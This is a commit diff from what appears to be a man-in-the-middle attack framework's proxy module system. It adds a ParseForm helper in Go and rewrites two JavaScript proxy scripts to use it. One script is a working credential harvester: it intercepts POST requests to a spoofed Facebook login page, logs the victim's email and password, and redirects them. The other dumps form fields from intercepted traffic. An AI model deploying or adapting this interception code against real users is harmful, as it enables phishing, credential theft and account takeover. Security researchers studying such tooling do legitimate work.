new: new request.ParseForm builtin method for proxy modules.

This commit is contained in:
evilsocket 2018-01-13 17:00:50 +01:00
parent 87971a19e3
commit a296dacd74
4 changed files with 31 additions and 36 deletions

View file

@ -1,46 +1,19 @@
var RESET = "\033[0m"; var RESET = "\033[0m";
function R(s) { function R(s) {
return "\033[31m" + s + RESET; return "\033[31m" + s + RESET;
} }
function G(s) {
return "\033[32m" + s + RESET;
}
function B(s) { function B(s) {
return "\033[34m" + s + RESET; return "\033[34m" + s + RESET;
} }
function Y(s) {
return "\033[33m" + s + RESET;
}
function DIM(s) {
return "\033[2m" + s + RESET;
}
function BOLD(s) {
return "\033[1m" + s + RESET;
}
function onRequest(req, res) { function onRequest(req, res) {
if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) { if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) {
var body = req.ReadBody(); var form = req.ParseForm();
var parts = body.split('&'); var email = form["email"] || "?",
var email = "?", pass = "?"; pass = form["pass"] || "?";
for( var i = 0; i < parts.length; i++ ) {
var nv = parts[i].split('=');
if( nv[0] == "email" ) {
email = nv[1];
}
else if( nv[0] == "pass" ) {
pass = nv[1];
}
}
log( R(req.Client), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" ); log( R(req.Client), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" );
res.Status = 301; res.Status = 301;

View file

@ -43,12 +43,9 @@ function dumpPlain(req) {
function dumpForm(req) { function dumpForm(req) {
log( " > " + BOLD(G("Form")) ); log( " > " + BOLD(G("Form")) );
var body = req.ReadBody(); var form = req.ParseForm();
var parts = body.split('&'); for( var key in form ) {
log( " " + B(key) + " : " + Y(form[key]) );
for( var i = 0; i < parts.length; i++ ) {
var nv = parts[i].split('=');
log( " " + B(nv[0]) + " : " + Y(nv[1]) );
} }
} }

1
caplets/www/.gitignore vendored Normal file
View file

@ -0,0 +1 @@
www.facebook.com

View file

@ -4,6 +4,7 @@ import (
"fmt" "fmt"
"io/ioutil" "io/ioutil"
"net/http" "net/http"
"net/url"
"strings" "strings"
) )
@ -63,3 +64,26 @@ func (j *JSRequest) ReadBody() string {
return j.Body return j.Body
} }
func (j *JSRequest) ParseForm() map[string]string {
if j.Body == "" {
j.Body = j.ReadBody()
}
form := make(map[string]string, 0)
parts := strings.Split(j.Body, "&")
for _, part := range parts {
nv := strings.SplitN(part, "=", 2)
if len(nv) == 2 {
unescaped, err := url.QueryUnescape(nv[1])
if err == nil {
form[nv[0]] = unescaped
} else {
form[nv[0]] = nv[1]
}
}
}
return form
}